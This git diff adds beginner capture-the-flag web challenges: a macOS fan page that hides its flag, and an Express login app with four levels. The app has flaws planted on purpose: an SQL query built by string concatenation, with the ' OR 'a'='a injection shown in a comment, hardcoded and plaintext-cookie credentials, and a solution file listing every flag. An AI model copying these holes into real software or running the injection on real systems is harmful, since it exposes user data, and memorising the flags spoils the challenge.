+ +### Hint #2 (big hint) +I followed this really great workshop on Git last year, but I do wish I had payed more attention to the part about the .gitignore file though. Maybe then my projects wouldn't be filled with random files. I heard GitHub hosts some templates for different operating systems, maybe that can help. + +## Flag +IGCTF{Always-Check-F0r-Hidd3n-Files!} diff --git a/the-best-os-in-the-world/src/Dockerfile b/the-best-os-in-the-world/src/Dockerfile new file mode 100644 index 0000000..306cce9 --- /dev/null +++ b/the-best-os-in-the-world/src/Dockerfile @@ -0,0 +1,6 @@ +FROM nginx + +RUN rm /etc/nginx/nginx.conf /etc/nginx/conf.d/default.conf + +COPY ./src/content /usr/share/nginx/html +COPY ./src/conf /etc/nginx diff --git a/the-best-os-in-the-world/src/docker-compose.yml b/the-best-os-in-the-world/src/docker-compose.yml new file mode 100644 index 0000000..1989bdd --- /dev/null +++ b/the-best-os-in-the-world/src/docker-compose.yml @@ -0,0 +1,6 @@ +version: '3.9' +services: + the-best-os-in-the-world: + build: . + ports: + - 80:80 \ No newline at end of file diff --git a/the-best-os-in-the-world/src/src/conf/nginx.conf b/the-best-os-in-the-world/src/src/conf/nginx.conf new file mode 100644 index 0000000..5696d57 --- /dev/null +++ b/the-best-os-in-the-world/src/src/conf/nginx.conf @@ -0,0 +1,27 @@ +events {} +http { + server { + listen 80; + listen [::]:80; + server_name localhost; + + location ~ ^/(flag|flag.txt)[/]? { + return 302 https://bit.ly/3SxEjGF; + } + + location / { + root /usr/share/nginx/html; + index index.html index.htm; + } + + #error_page 404 /404.html; + + # redirect server error pages to the static page /50x.html + # + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + } +} + diff --git a/the-best-os-in-the-world/src/src/content/.DS_Store b/the-best-os-in-the-world/src/src/content/.DS_Store new file mode 100644 index 0000000..ca48f55 Binary files /dev/null and b/the-best-os-in-the-world/src/src/content/.DS_Store differ diff --git a/the-best-os-in-the-world/src/src/content/0n3_m0re_th1ng/index.html b/the-best-os-in-the-world/src/src/content/0n3_m0re_th1ng/index.html new file mode 100644 index 0000000..de1c912 --- /dev/null +++ b/the-best-os-in-the-world/src/src/content/0n3_m0re_th1ng/index.html @@ -0,0 +1,6 @@ + + + Super secure page + +

IGCTF{Always-Check-F0r-Hidd3n-Files!}

+ diff --git a/the-best-os-in-the-world/src/src/content/index.html b/the-best-os-in-the-world/src/src/content/index.html new file mode 100644 index 0000000..03f1d61 --- /dev/null +++ b/the-best-os-in-the-world/src/src/content/index.html @@ -0,0 +1,25 @@ + + + macOS fan page + +

Why macOS is the best operating system in the world

+ +
    +
  • Finder is 1000x better than windows explorer
  • +
  • No virusses
  • +
  • Custom folder icons
  • + +
  • ONLY operating system that can build iOS apps
  • +
  • + Everything is patented and proprietary: airdrop, airplay, and something + with a store +
  • +
  • Hidden files
  • +
  • Native airplay
  • +
  • A super optimized filesystem
  • +
  • Amazing battery life
  • +
+

I even made this fan page with a mac!!

+ +

MacOS is clearly the best OS in the world.

+ diff --git a/the-best-os-in-the-world/src/src/content/robots.txt b/the-best-os-in-the-world/src/src/content/robots.txt new file mode 100644 index 0000000..de9ed04 --- /dev/null +++ b/the-best-os-in-the-world/src/src/content/robots.txt @@ -0,0 +1 @@ +boopbeepbeepboopbeepboopboopboop boopbeepbeepbeepboopbeepboopboop boopbeepbeepbeepboopbeepboopboop boopbeepbeepbeepboopboopboopboop boopbeepbeepbeepboopboopbeepbeep boopboopbeepbeepbeepboopbeepboop boopboopbeepboopbeepbeepbeepbeep boopboopbeepboopbeepbeepbeepbeep boopbeepbeepboopboopboopbeepboop boopbeepbeepboopbeepboopboopbeep boopbeepbeepbeepboopbeepboopboop boopboopbeepboopbeepbeepbeepboop boopbeepbeepboopbeepbeepboopboop boopbeepbeepbeepbeepboopboopbeep boopboopbeepboopbeepbeepbeepbeep boopboopbeepbeepboopboopbeepbeep boopbeepboopbeepboopboopbeepbeep boopbeepbeepbeepbeepboopboopboop boopbeepboopboopboopbeepboopbeep boopbeepbeepboopbeepboopbeepboop boopbeepboopboopboopbeepbeepbeep boopbeepboopboopboopbeepbeepboop \ No newline at end of file diff --git a/the-social-network/README.md b/the-social-network/README.md new file mode 100644 index 0000000..00675fd --- /dev/null +++ b/the-social-network/README.md @@ -0,0 +1,16 @@ +# The-social network [1, 2, 3, 4] + +# TEXT +I found some early pre-alpha versions of popular social networks. Do you know how to get access to their admin account? + +# HOW TO RUN + +- npm install +- npm start + +# List of challenges (URLS) + +- Challenge 1 (localhost:3000/) +- Challenge 2 (localhost:3000/challenge2) +- Challenge 3 (localhost:3000/challenge3) +- Challenge 4 (localhost:3000/challenge4) diff --git a/the-social-network/SOLUTION.md b/the-social-network/SOLUTION.md new file mode 100644 index 0000000..c0ee4d0 --- /dev/null +++ b/the-social-network/SOLUTION.md @@ -0,0 +1,13 @@ +# Difficulty +easy (all 25 points) + +# How to solve + + +# Flags + +flag1:IGCTF{ReMoveYoUrDebUgGinGStAteMents} +flag2:IGCTF{HiHiHaxxED} +flag3:IGCTF{YouHaV3Me} +flag4:IGCTF{OtH3RCo0LFl4gN4m3} + diff --git a/the-social-network/src/Dockerfile b/the-social-network/src/Dockerfile new file mode 100644 index 0000000..97c9179 --- /dev/null +++ b/the-social-network/src/Dockerfile @@ -0,0 +1,12 @@ +FROM node:latest + +COPY the-social-network / +WORKDIR /the-social-network +RUN yarn install + +ENV PORT=3000 + + +CMD ["yarn", "start"] + +EXPOSE 3000 \ No newline at end of file diff --git a/the-social-network/src/docker-compose.yml b/the-social-network/src/docker-compose.yml new file mode 100644 index 0000000..aa00474 --- /dev/null +++ b/the-social-network/src/docker-compose.yml @@ -0,0 +1,6 @@ +version: '3.9' +services: + the-social-network: + build: . + ports: + - 3000:3000 diff --git a/the-social-network/src/the-social-network/app.js b/the-social-network/src/the-social-network/app.js new file mode 100644 index 0000000..243f5fb --- /dev/null +++ b/the-social-network/src/the-social-network/app.js @@ -0,0 +1,107 @@ +var createError = require('http-errors'); +var express = require('express'); +var path = require('path'); +var cookieParser = require('cookie-parser'); +var logger = require('morgan'); + +var indexRouter = require('./routes/index'); +var usersRouter = require('./routes/users'); +var challenge2Router = require('./routes/challenge2') +var challenge3Router = require('./routes/challenge3'); +var challenge4Router = require('./routes/challenge4'); + +const FLAG_1 = "IGCTF{ReMoveYoUrDebUgGinGStAteMents}"; +const FLAG_2 = "IGCTF{HiHiHaxxED}"; +const FLAG_4 = "IGCTF{OtH3RCo0LFl4gN4m3}"; + +var app = express(); + +// view engine setup +app.set('views', path.join(__dirname, 'views')); +app.set('view engine', 'pug'); + +app.use(logger('dev')); +app.use(express.json()); +app.use(express.urlencoded({extended: false})); +app.use(cookieParser()); +app.use(express.static(path.join(__dirname, 'public'))); + +app.use('/', indexRouter); +app.use('/challenge2', challenge2Router); +app.use('/challenge3', challenge3Router); +app.use('/challenge4', challenge4Router); +app.use('/users', usersRouter); + + +// GARBO CODE FOLLOWING DONT HATE +const sqlite3 = require('sqlite3').verbose(); +const db = new sqlite3.Database('database.db', sqlite3.OPEN_READONLY); + + +app.post('/flag1', (req, res) => { + var user = req.body.user; + var pass = req.body.pass; + + if (user === 'admin' && pass === 'DezeNoten123') { + res.send({flag: FLAG_1}); + } else { + res.send("false"); + } +}); + +async function credentialsMatch(user, pass, match) { + // EXAMPLE INJECTION: + //' OR 'a'='a + var statement = "SELECT * FROM Credentials WHERE user=\'" + user + "\' AND pass=\'" + pass + "\';"; + db.each(statement, (err, row) => { + match(); + }); +} + +app.post('/flag2', (req, res) => { + var user = req.body.user; + var pass = req.body.pass; + + var sent = false; + + credentialsMatch(user, pass, () => { + if (!sent) { + res.send({flag: FLAG_2}); + sent = true; + } + }); + // lol deal with it + setTimeout(() => { + if (!sent) + res.send("false"); + }, 1000); +}); + +app.post('/flag4', (req, res) => { + var user = req.body.user; + var pass = req.body.pass; + + if (user === 'admin' && pass === 'somePla1nT3xtP4Ss') { + res.send({flag: FLAG_4}); + } else { + res.send("false"); + } +}); + +// catch 404 and forward to error handler +app.use(function (req, res, next) { + next(createError(404)); +}); + +// error handler +app.use(function (err, req, res, next) { + // set locals, only providing error in development + res.locals.message = err.message; + res.locals.error = req.app.get('env') === 'development' ? err : {}; + + // render the error page + res.status(err.status || 500); + res.render('error'); +}); + +module.exports = app; diff --git a/the-social-network/src/the-social-network/bin/www b/the-social-network/src/the-social-network/bin/www new file mode 100644 index 0000000..57e4542 --- /dev/null +++ b/the-social-network/src/the-social-network/bin/www @@ -0,0 +1,90 @@ +#!/usr/bin/env node + +/** + * Module dependencies. + */ + +var app = require('../app'); +var debug = require('debug')('flaggyflaggersson:server'); +var http = require('http'); + +/** + * Get port from environment and store in Express. + */ + +var port = normalizePort(process.env.PORT || '3000'); +app.set('port', port); + +/** + * Create HTTP server. + */ + +var server = http.createServer(app); + +/** + * Listen on provided port, on all network interfaces. + */ + +server.listen(port); +server.on('error', onError); +server.on('listening', onListening); + +/** + * Normalize a port into a number, string, or false. + */ + +function normalizePort(val) { + var port = parseInt(val, 10); + + if (isNaN(port)) { + // named pipe + return val; + } + + if (port >= 0) { + // port number + return port; + } + + return false; +} + +/** + * Event listener for HTTP server "error" event. + */ + +function onError(error) { + if (error.syscall !== 'listen') { + throw error; + } + + var bind = typeof port === 'string' + ? 'Pipe ' + port + : 'Port ' + port; + + // handle specific listen errors with friendly messages + switch (error.code) { + case 'EACCES': + console.error(bind + ' requires elevated privileges'); + process.exit(1); + break; + case 'EADDRINUSE': + console.error(bind + ' is already in use'); + process.exit(1); + break; + default: + throw error; + } +} + +/** + * Event listener for HTTP server "listening" event. + */ + +function onListening() { + var addr = server.address(); + var bind = typeof addr === 'string' + ? 'pipe ' + addr + : 'port ' + addr.port; + debug('Listening on ' + bind); +} diff --git a/the-social-network/src/the-social-network/database.db b/the-social-network/src/the-social-network/database.db new file mode 100644 index 0000000..c696593 Binary files /dev/null and b/the-social-network/src/the-social-network/database.db differ diff --git a/the-social-network/src/the-social-network/package.json b/the-social-network/src/the-social-network/package.json new file mode 100644 index 0000000..a0669ca --- /dev/null +++ b/the-social-network/src/the-social-network/package.json @@ -0,0 +1,17 @@ +{ + "name": "flaggyflaggersson", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www" + }, + "dependencies": { + "cookie-parser": "~1.4.4", + "debug": "~2.6.9", + "express": "~4.16.1", + "http-errors": "~1.6.3", + "morgan": "~1.9.1", + "pug": "2.0.0-beta11", + "sqlite3": "^5.0.11" + } +} diff --git a/the-social-network/src/the-social-network/public/stylesheets/style.css b/the-social-network/src/the-social-network/public/stylesheets/style.css new file mode 100644 index 0000000..88bc875 --- /dev/null +++ b/the-social-network/src/the-social-network/public/stylesheets/style.css @@ -0,0 +1,13 @@ +body { + padding: 50px; + font: 14px "Lucida Grande", Helvetica, Arial, sans-serif; +} + +a { + color: #00B7FF; +} + +.big { + font-size: large; + font-weight: bold; +} diff --git a/the-social-network/src/the-social-network/routes/challenge2.js b/the-social-network/src/the-social-network/routes/challenge2.js new file mode 100644 index 0000000..058a0f6 --- /dev/null +++ b/the-social-network/src/the-social-network/routes/challenge2.js @@ -0,0 +1,9 @@ +var express = require('express'); +var router = express.Router(); + +/* GET home page. */ +router.get('/', function(req, res, next) { + res.render('challenge2', { title: 'baceFook' }); +}); + +module.exports = router; diff --git a/the-social-network/src/the-social-network/routes/challenge3.js b/the-social-network/src/the-social-network/routes/challenge3.js new file mode 100644 index 0000000..f52dad9 --- /dev/null +++ b/the-social-network/src/the-social-network/routes/challenge3.js @@ -0,0 +1,64 @@ +var express = require('express'); +var router = express.Router(); + +/** Flag: IGCTF{YouHaV3Me} */ + +/* GET home page. */ +router.get('/', function(req, res, next) { + //res.render('challenge2', { title: 'baceFook' }); + res.redirect("/challenge3/I"); +}); + +router.get('/I', function(req, res, next) { + res.redirect("/challenge3/G"); +}); + +router.get('/G', function(req, res, next) { + res.redirect("/challenge3/C"); +}); + +router.get('/C', function(req, res, next) { + res.redirect("/challenge3/T"); +}); + +router.get('/T', function(req, res, next) { + res.redirect("/challenge3/F"); +}); + +router.get('/F', function(req, res, next) { + res.redirect("/challenge3/Y"); +}); + +router.get('/Y', function(req, res, next) { + res.redirect("/challenge3/o"); +}); + +router.get('/o', function(req, res, next) { + res.redirect("/challenge3/u"); +}); + +router.get('/u', function(req, res, next) { + res.redirect("/challenge3/H"); +}); + +router.get('/H', function(req, res, next) { + res.redirect("/challenge3/a"); +}); + +router.get('/a', function(req, res, next) { + res.redirect("/challenge3/V"); +}); + +router.get('/V', function(req, res, next) { + res.redirect("/challenge3/3"); +}); + +router.get('/3', function(req, res, next) { + res.redirect("/challenge3/M"); +}); + +router.get('/M', function(req, res, next) { + res.redirect("/challenge3/e"); +}); + +module.exports = router; \ No newline at end of file diff --git a/the-social-network/src/the-social-network/routes/challenge4.js b/the-social-network/src/the-social-network/routes/challenge4.js new file mode 100644 index 0000000..68c0d6d --- /dev/null +++ b/the-social-network/src/the-social-network/routes/challenge4.js @@ -0,0 +1,11 @@ +var express = require('express'); +var router = express.Router(); + +/* GET home page. */ +router.get('/', function(req, res, next) { + res.cookie('user',"admin", { maxAge: 900000, httpOnly: true }); + res.cookie('password',"somePla1nT3xtP4Ss", { maxAge: 900000, httpOnly: true }); + res.render('challenge4', { title: 'BeFake' }); +}); + +module.exports = router; diff --git a/the-social-network/src/the-social-network/routes/index.js b/the-social-network/src/the-social-network/routes/index.js new file mode 100644 index 0000000..137fd8a --- /dev/null +++ b/the-social-network/src/the-social-network/routes/index.js @@ -0,0 +1,9 @@ +var express = require('express'); +var router = express.Router(); + +/* GET home page. */ +router.get('/', function(req, res, next) { + res.render('index', { title: 'InstaSlam' }); +}); + +module.exports = router; diff --git a/the-social-network/src/the-social-network/routes/users.js b/the-social-network/src/the-social-network/routes/users.js new file mode 100644 index 0000000..623e430 --- /dev/null +++ b/the-social-network/src/the-social-network/routes/users.js @@ -0,0 +1,9 @@ +var express = require('express'); +var router = express.Router(); + +/* GET users listing. */ +router.get('/', function(req, res, next) { + res.send('respond with a resource'); +}); + +module.exports = router; diff --git a/the-social-network/src/the-social-network/views/challenge2.pug b/the-social-network/src/the-social-network/views/challenge2.pug new file mode 100644 index 0000000..fd9dc34 --- /dev/null +++ b/the-social-network/src/the-social-network/views/challenge2.pug @@ -0,0 +1,57 @@ +extends layout + +block content + h1= title + p(id="title")= 'Welcome to BaceFook' + p2 Log in to zucc some zucc! What am I even doing + + p lol I can't center a div + br + + p user + input( + type='text' + name='user' + id='userID' + ) + br + p password + input( + type='password' + name='password' + id='passID' + ) + br + input( + type='button' + value='Log in' + onclick='validate()' + id='button' + ) + script(src='https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js') + script. + function validate() { + var user = document.getElementById("userID").value; + var pass = document.getElementById("passID").value; + var ret = {} + $.ajax({ + "url": "/flag2", + "method": "POST", + "data":{"user":user, + "pass":pass}, + "success": function (data, status, xhttp) { + ret = data; + }, + "async":false + }); + + if (ret === 'false') { + var element = document.getElementById("title"); + element.classList.add("big"); + element.innerText = "Woops! Try again."; + } else { + var element = document.getElementById("title"); + element.classList.add("big"); + element.innerText = ret.flag; + } + } diff --git a/the-social-network/src/the-social-network/views/challenge4.pug b/the-social-network/src/the-social-network/views/challenge4.pug new file mode 100644 index 0000000..b496478 --- /dev/null +++ b/the-social-network/src/the-social-network/views/challenge4.pug @@ -0,0 +1,54 @@ +extends layout + +block content + h1= title + p(id="title")= 'Welcome to BeFake' + br + p2 This is our real login page + p user + input( + type='text' + name='user' + id='userID' + ) + br + p password + input( + type='password' + name='password' + id='passID' + ) + br + input( + type='button' + value='Log in' + onclick='validate()' + id='button' + ) + script(src='https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js') + script. + function validate() { + var user = document.getElementById("userID").value; + var pass = document.getElementById("passID").value; + var ret = {} + $.ajax({ + "url": "/flag4", + "method": "POST", + "data":{"user":user, + "pass":pass}, + "success": function (data, status, xhttp) { + ret = data; + }, + "async":false + }); + + if (ret === 'false') { + var element = document.getElementById("title"); + element.classList.add("big"); + element.innerText = "Woops! Try again."; + } else { + var element = document.getElementById("title"); + element.classList.add("big"); + element.innerText = ret.flag; + } + } diff --git a/the-social-network/src/the-social-network/views/error.pug b/the-social-network/src/the-social-network/views/error.pug new file mode 100644 index 0000000..51ec12c --- /dev/null +++ b/the-social-network/src/the-social-network/views/error.pug @@ -0,0 +1,6 @@ +extends layout + +block content + h1= message + h2= error.status + pre #{error.stack} diff --git a/the-social-network/src/the-social-network/views/index.pug b/the-social-network/src/the-social-network/views/index.pug new file mode 100644 index 0000000..ebe2352 --- /dev/null +++ b/the-social-network/src/the-social-network/views/index.pug @@ -0,0 +1,57 @@ +extends layout + +block content + h1= title + p(id="title")= 'Welcome to InstaSlam' + p2 Log in to view personal user data! + br + + + p user + input( + type='text' + name='user' + id='userID' + ) + br + p password + input( + type='password' + name='password' + id='passID' + ) + br + input( + type='button' + value='Log in' + onclick='validate()' + id='button' + ) + + script(src='https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js') + script. + function validate() { + var user = document.getElementById("userID").value; + var pass = document.getElementById("passID").value; + var ret = {} + $.ajax({ + "url": "/flag1", + "method": "POST", + "data":{"user":user, + "pass":pass}, + "success": function (data, status, xhttp) { + ret = data; + }, + "async":false + }); + + if (ret === 'false') { + var element = document.getElementById("title"); + element.classList.add("big"); + element.innerText = "Woops! Try again."; + } else { + var element = document.getElementById("title"); + element.classList.add("big"); + element.innerText = ret.flag; + } + } diff --git a/the-social-network/src/the-social-network/views/layout.pug b/the-social-network/src/the-social-network/views/layout.pug new file mode 100644 index 0000000..15af079 --- /dev/null +++ b/the-social-network/src/the-social-network/views/layout.pug @@ -0,0 +1,7 @@ +doctype html +html + head + title= title + link(rel='stylesheet', href='/stylesheets/style.css') + body + block content diff --git a/the-social-network/src/the-social-network/yarn.lock b/the-social-network/src/the-social-network/yarn.lock new file mode 100644 index 0000000..e1be089 --- /dev/null +++ b/the-social-network/src/the-social-network/yarn.lock @@ -0,0 +1,1589 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +"@gar/promisify@^1.0.1": + version "1.1.3" + resolved "https://registry.yarnpkg.com/@gar/promisify/-/promisify-1.1.3.tgz#555193ab2e3bb3b6adc3d551c9c030d9e860daf6" + integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw== + +"@mapbox/node-pre-gyp@^1.0.0": + version "1.0.10" + resolved "https://registry.yarnpkg.com/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.10.tgz#8e6735ccebbb1581e5a7e652244cadc8a844d03c" + integrity sha512-4ySo4CjzStuprMwk35H5pPbkymjv1SF3jGLj6rAHp/xT/RF7TL7bd9CTm1xDY49K2qF7jmR/g7k+SkLETP6opA== + dependencies: + detect-libc "^2.0.0" + https-proxy-agent "^5.0.0" + make-dir "^3.1.0" + node-fetch "^2.6.7" + nopt "^5.0.0" + npmlog "^5.0.1" + rimraf "^3.0.2" + semver "^7.3.5" + tar "^6.1.11" + +"@npmcli/fs@^1.0.0": + version "1.1.1" + resolved "https://registry.yarnpkg.com/@npmcli/fs/-/fs-1.1.1.tgz#72f719fe935e687c56a4faecf3c03d06ba593257" + integrity sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ== + dependencies: + "@gar/promisify" "^1.0.1" + semver "^7.3.5" + +"@npmcli/move-file@^1.0.1": + version "1.1.2" + resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674" + integrity sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg== + dependencies: + mkdirp "^1.0.4" + rimraf "^3.0.2" + +"@tootallnate/once@1": + version "1.1.2" + resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82" + integrity sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw== + +"@types/babel-types@*", "@types/babel-types@^7.0.0": + version "7.0.11" + resolved "https://registry.yarnpkg.com/@types/babel-types/-/babel-types-7.0.11.tgz#263b113fa396fac4373188d73225297fb86f19a9" + integrity sha512-pkPtJUUY+Vwv6B1inAz55rQvivClHJxc9aVEPPmaq2cbyeMLCiDpbKpcKyX4LAwpNGi+SHBv0tHv6+0gXv0P2A== + +"@types/babylon@^6.16.2": + version "6.16.6" + resolved "https://registry.yarnpkg.com/@types/babylon/-/babylon-6.16.6.tgz#a1e7e01567b26a5ebad321a74d10299189d8d932" + integrity sha512-G4yqdVlhr6YhzLXFKy5F7HtRBU8Y23+iWy7UKthMq/OSQnL1hbsoeXESQ2LY8zEDlknipDG3nRGhUC9tkwvy/w== + dependencies: + "@types/babel-types" "*" + +abbrev@1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/abbrev/-/abbrev-1.1.1.tgz#f8f2c887ad10bf67f634f005b6987fed3179aac8" + integrity sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q== + +accepts@~1.3.5: + version "1.3.8" + resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e" + integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw== + dependencies: + mime-types "~2.1.34" + negotiator "0.6.3" + +acorn-globals@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-3.1.0.tgz#fd8270f71fbb4996b004fa880ee5d46573a731bf" + integrity sha512-uWttZCk96+7itPxK8xCzY86PnxKTMrReKDqrHzv42VQY0K30PUO8WY13WMOuI+cOdX4EIdzdvQ8k6jkuGRFMYw== + dependencies: + acorn "^4.0.4" + +acorn@^3.1.0: + version "3.3.0" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-3.3.0.tgz#45e37fb39e8da3f25baee3ff5369e2bb5f22017a" + integrity sha512-OLUyIIZ7mF5oaAUT1w0TFqQS81q3saT46x8t7ukpPjMNk+nbs4ZHhs7ToV8EWnLYLepjETXd4XaCE4uxkMeqUw== + +acorn@^4.0.4, acorn@~4.0.2: + version "4.0.13" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-4.0.13.tgz#105495ae5361d697bd195c825192e1ad7f253787" + integrity sha512-fu2ygVGuMmlzG8ZeRJ0bvR41nsAkxxhbyk8bZ1SS521Z7vmgJFTQQlfz/Mp/nJexGBz+v8sC9bM6+lNgskt4Ug== + +agent-base@6, agent-base@^6.0.2: + version "6.0.2" + resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77" + integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ== + dependencies: + debug "4" + +agentkeepalive@^4.1.3: + version "4.2.1" + resolved "https://registry.yarnpkg.com/agentkeepalive/-/agentkeepalive-4.2.1.tgz#a7975cbb9f83b367f06c90cc51ff28fe7d499717" + integrity sha512-Zn4cw2NEqd+9fiSVWMscnjyQ1a8Yfoc5oBajLeo5w+YBHgDUcEBY2hS4YpTz6iN5f/2zQiktcuM6tS8x1p9dpA== + dependencies: + debug "^4.1.0" + depd "^1.1.2" + humanize-ms "^1.2.1" + +aggregate-error@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a" + integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA== + dependencies: + clean-stack "^2.0.0" + indent-string "^4.0.0" + +align-text@^0.1.1, align-text@^0.1.3: + version "0.1.4" + resolved "https://registry.yarnpkg.com/align-text/-/align-text-0.1.4.tgz#0cd90a561093f35d0a99256c22b7069433fad117" + integrity sha512-GrTZLRpmp6wIC2ztrWW9MjjTgSKccffgFagbNDOX95/dcjEcYZibYTeaOntySQLcdw1ztBoFkviiUvTMbb9MYg== + dependencies: + kind-of "^3.0.2" + longest "^1.0.1" + repeat-string "^1.5.2" + +amdefine@>=0.0.4: + version "1.0.1" + resolved "https://registry.yarnpkg.com/amdefine/-/amdefine-1.0.1.tgz#4a5282ac164729e93619bcfd3ad151f817ce91f5" + integrity sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg== + +ansi-regex@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304" + integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== + +"aproba@^1.0.3 || ^2.0.0": + version "2.0.0" + resolved "https://registry.yarnpkg.com/aproba/-/aproba-2.0.0.tgz#52520b8ae5b569215b354efc0caa3fe1e45a8adc" + integrity sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ== + +are-we-there-yet@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz#372e0e7bd279d8e94c653aaa1f67200884bf3e1c" + integrity sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw== + dependencies: + delegates "^1.0.0" + readable-stream "^3.6.0" + +are-we-there-yet@^3.0.0: + version "3.0.1" + resolved "https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz#679df222b278c64f2cdba1175cdc00b0d96164bd" + integrity sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg== + dependencies: + delegates "^1.0.0" + readable-stream "^3.6.0" + +array-flatten@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" + integrity sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg== + +asap@~2.0.3: + version "2.0.6" + resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46" + integrity sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA== + +babel-runtime@^6.26.0: + version "6.26.0" + resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe" + integrity sha512-ITKNuq2wKlW1fJg9sSW52eepoYgZBggvOAHC0u/CYu/qxQ9EVzThCgR69BnSXLHjy2f7SY5zaQ4yt7H9ZVxY2g== + dependencies: + core-js "^2.4.0" + regenerator-runtime "^0.11.0" + +babel-types@^6.26.0: + version "6.26.0" + resolved "https://registry.yarnpkg.com/babel-types/-/babel-types-6.26.0.tgz#a3b073f94ab49eb6fa55cd65227a334380632497" + integrity sha512-zhe3V/26rCWsEZK8kZN+HaQj5yQ1CilTObixFzKW1UWjqG7618Twz6YEsCnjfg5gBcJh02DrpCkS9h98ZqDY+g== + dependencies: + babel-runtime "^6.26.0" + esutils "^2.0.2" + lodash "^4.17.4" + to-fast-properties "^1.0.3" + +babylon@^6.18.0: + version "6.18.0" + resolved "https://registry.yarnpkg.com/babylon/-/babylon-6.18.0.tgz#af2f3b88fa6f5c1e4c634d1a0f8eac4f55b395e3" + integrity sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ== + +balanced-match@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee" + integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== + +basic-auth@~2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/basic-auth/-/basic-auth-2.0.1.tgz#b998279bf47ce38344b4f3cf916d4679bbf51e3a" + integrity 